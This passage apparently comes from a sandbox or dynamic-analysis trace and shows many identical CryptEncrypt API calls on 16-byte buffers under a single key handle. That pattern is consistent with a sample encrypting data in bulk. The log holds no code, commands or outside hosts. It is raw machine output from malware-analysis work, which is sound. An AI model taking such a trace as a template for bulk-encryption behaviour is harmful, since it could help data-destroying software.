out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.827] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.828] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.829] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.830] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.831] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] 